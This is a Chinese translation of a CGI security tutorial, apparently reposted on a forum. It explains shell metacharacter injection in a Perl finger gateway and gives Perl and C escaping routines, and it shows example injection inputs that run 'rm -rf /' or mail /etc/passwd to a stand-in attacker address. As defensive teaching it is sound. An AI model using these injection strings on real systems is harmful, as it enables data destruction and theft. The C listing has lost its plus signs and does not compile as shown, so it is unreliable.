這將會怎樣呢?假設在命令行像這樣輸入。它會刪除所有的文件和目錄,從root的目錄開始。我們需要sanitize這個輸入來render the semicolon(;)metacharacter harmless.在Perl中,利用表4中的函數可以很容易的實現。(C中的這些等價函數在表5中;它們來自cgihtml的C庫。) 程式4. Perl中的escape_input(). sub escape_input { @_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\{\}:'"\\])/\\$1/g; return @_; } 程式5. C語言中的escape_input(). char *escape_input(char *str) /* takes string and escapes all metacharacters. should be used before including string in system() or similar call. */ { int i,j = 0; char *new = malloc(sizeof(char) * (strlen(str) * 2 1)); for (i = 0; i < strlen(str); i ) { printf("i = %d; j = %d\n",i,j); switch (str[i]) { case '|': case '&': case ';': case '(': case ')': case '<': case '>': case '\'': case '"': case '*': case '?': case '\\': case '[': case ']': case '$': case '!': case '#': case ';': case '`': case '{': case '}': new[j] = '\\'; j ; break; default: break; } new[j] = str[i]; j ; } new[j] = '\n'; return new; } 這將返回一個帶有跟隨在\後的shell轉義字元的字串。這個修正的finger.cgi閘道在程式6中。 程式6. 一個安全的finger.cgi. #!/usr/local/bin/perl # finger.cgi - an safe finger gateway require 'cgi-lib.pl'; sub escape_input { @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g; return @_; } print &PrintHeader; if (&ReadParse(*in)) { print "\n"; print `/usr/bin/finger &escape_input($in{'username'})`; print "\n"; } else { print " \n"; print "\n"; print "\n\n"; print "Finger Gateway\n"; print "\n"; print "User@Host: \n"; print "\n"; print "\n"; print " \n"; } 這次,如果你使用前述相同的輸入,將派生出一個shell,它將嘗試這樣執行: /usr/bin/finger nobody@nowhere.org \: /bin/rm -rf / 這樣,那個惡意的企圖將無法生效.它不再試圖刪除系統中所有的目錄,而是嘗試finger用戶nobody@nowhere.org,:,/bin/rm,-rf和 /。由於後面的字元組合未必是你的系統中的用戶,因此可能會返回一個錯誤。 記住幾個問題。首先,如果你的Web伺服器正確的配置了(例如,以非root身份運行),那麽,刪除文件系統中的所有內容的企圖不會成功。(如果伺服器以root身份運行,那麽潛在的危害將是不可估量的。千萬不要這樣做!)另外,用戶還假定rm命令在/bin目錄中。他或她假定了rm在這個路徑中。然而,所有這些只是對大多數的Unix系統的樂觀的假設,並不是完全適用的。在一個chrooted系統環境中,這個目錄中並沒有rm命令。那麽hacker的努力將是徒勞的。從理論上說,通過安全防範和正確配置你的Web伺服器,你可以將潛在的危害降低到幾乎爲0,即使是書寫了糟糕的腳本。 然而,你沒有理由在編寫CGI程式時可以掉以輕心。事實上,大多數的Web環境並不是chrooted的,僅僅是因爲它禁止了很多人需要在Web伺服器中需要的靈活性。即使伺服器不是以root身份運行,用戶不能將文件系統中的文件全部刪除,一些人可以僅僅通過如下的輸入,將/etc/passwd文件寄給me@evil.org作爲可能的攻擊途徑: nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd 我可以通過操縱這個漏洞來幹很多事情,即使是在一個配置良好的環境中。如果你在一個簡單的CGI程式中容許一個漏洞從你的身邊溜過,你怎麽能肯定你正確並安全的配置了你複雜的Unix系統和Web伺服器? 答案是你不能。你最好打賭弄清楚你的CGI程式是安全的。在shell中運行它之前不輕易接受輸入是很容易對付的事情,它還是CGI編程中最常見的問題之一。 幸運的是,Perl擁有一個捕捉潛在感染的變數的很好的機制。如果你使用taintperl而不是Perl(或者perl -T,如果你使用Perl 5),腳本將在潛在感染的變數傳遞給shell命令處中止。這將幫助你在開始實際使用CGI程式時捕捉到所有的潛在感染的變數的例子。 注意到Perl擁有比C更多的派生shell的函數。這並不是顯而易見的,即使是對於中級的Perl程式師,在執行程式前向後標記派生出一個shell。這是高階語言的風險抉擇;因爲你不是很明確地知道它做什麽,所以你並不清楚一個函數會産生怎樣的安全漏洞。 如果你避免了使用調用shell的函數,那麽你不需要刪除敏感的輸入。在Perl語言中,你可以通過使用system()或者exec()函數來封裝每一個參數。例如,如下的調用很安全的$input: system("/usr/ucb/finger",$input{'username'}); 然而,在你的finger gateway的情況下,這個特點是毫無用處的,因爲你要處理finger命令的輸出,這個,除了你使用system函數外沒有方法可以捕獲。 在C語言中,你也可以通過使用exec一類的函數來直接執行程式:exev(),exec1(),execvp(),execlp(),和execle()。exec1()在C語言中等價於Perl中的system()函數。你使用哪一個exec函數以及如何使之按你的需要執行:這些細節已經超出了本書的範圍。 http://www.softhouse.com.cn/docs/southpark1084.html CGI的安全(九) 原作者:Eugene Eric Kim,中譯:broarrow 3.安全處理 我前面簡要討論的只是安全問題的一個方面。現在流行的CGI應用程式傾向於收集信用卡資訊。資料收集是CGI應用程式的一個簡單的任務,但是敏感資訊的收集需要一個將資訊從瀏覽器傳送給伺服器和CGI程式的安全途徑。 舉個例子,假設我要通過Internet來銷售書。我可能在瀏覽器上建立一個表單,允許要購書的顧客通過表單提交它的個人資訊和信用卡號碼。受到這些資訊後,我會將它們存儲到我的電腦作爲商業記錄。 如果有人侵入我的商業電腦,那麽他可能會訪問存放顧客資訊和信用卡號碼的機密資料。爲了避免這種情況,我會審查我的電腦配置安全了,並確定用來接受表單的CGI腳本不會被惡意的操縱。換句話說,我,作爲電腦的系統管理員和CGI程式師,要盡力控制住第一個問題:防止資訊直接從我的電腦中被竊取。 然而,怎樣防止當資訊由用戶端發往伺服器過程中有人中途竊取呢?記住資訊怎樣由Web伺服器傳送到CGI程式了嗎?資訊通過網路由瀏覽器先傳送到伺服器,然後伺服器將資訊傳送給CGI程式。這些資訊可能在由客戶D
系統時間:2024-05-06 23:04:58
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!